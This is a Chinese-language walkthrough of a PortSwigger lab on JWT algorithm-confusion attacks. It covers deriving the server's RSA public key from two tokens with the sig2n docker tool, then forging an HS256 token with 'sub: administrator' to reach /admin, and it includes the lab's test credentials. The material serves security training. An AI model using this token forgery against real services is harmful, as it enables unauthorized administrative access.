专家-算法混淆攻击-无公开的密钥
# 实验室：通过算法混淆绕过JWT身份验证-无公开的密钥
# 题目
此实验室使用基于 JWT 的机制来处理会话。它使用可靠的 RSA 密钥对来签名和验证令牌。然而，由于实现中的缺陷，这种机制容易受到算法混淆攻击。
若要解决实验室问题，请先获取服务器的公钥，该公钥通过某个标准端点公开。使用此公钥来对修改后的会话令牌进行签名，使你能够访问位于/admin的管理面板并删除carlos用户。
此实验室使用基于 JWT 的机制来处理会话。它使用可靠的 RSA 密钥对来签名和验证令牌。然而，由于实现中的缺陷，这种机制容易受到算法混淆攻击。
若要解决实验室问题，请先想办法获取服务器的公钥。然后使用此公钥来对修改后的会话令牌进行签名，使你能够访问位于/admin的管理面板并删除carlos用户。
你可以使用以下凭据登录到自己的帐户：wiener:peter。
提示
在尝试此实验之前，我们建议你先熟悉一下如何在 BurpSuite 中使用 JWTs (opens new window)。
我们还提供了jwt_forgery.py工具的简化版，从而帮助你完成实验。有关如何使用它的详细信息，请参阅从现有令牌导出公钥 (opens new window)。
提示
假设服务器将其公钥存储为 X.509 PEM 文件。
- name: 实验室-专家
desc: 通过算法混淆绕过JWT身份验证-无公开的密钥 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion-with-no-exposed-key
bgColor: '#001350'
textColor: '#d112fe'
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# 实操
（目前只有图，文字后面有时间补）
点击 “ACCESS THE LAB” 进入实验室。
# 登录并捕获第一个 JWTs 令牌
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# 退出登录，重新登录并捕获第二个 JWTs 令牌
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# 使用工具提取公钥
通过 docker 运行简化版工具，尝试计算潜在的公钥值：
docker run --rm -it portswigger/sig2n <令牌1> <令牌2>
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# 将四个公钥设置为对称密钥
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分别用以上四个公钥 替换掉 自动生成的密钥。
分别用以上四个公钥 替换掉 自动生成的密钥。
# 依次使用四个对称密钥进行签名，并发送恶意JWTs
{
"kid": "<原来的公钥ID，不需要修改>",
"alg": "HS256"
}
{
"iss": "portswigger",
"exp": 1708420087,
"sub": "administrator"
}
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经过测试，第三个公钥是正确的。
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编辑 (opens new window)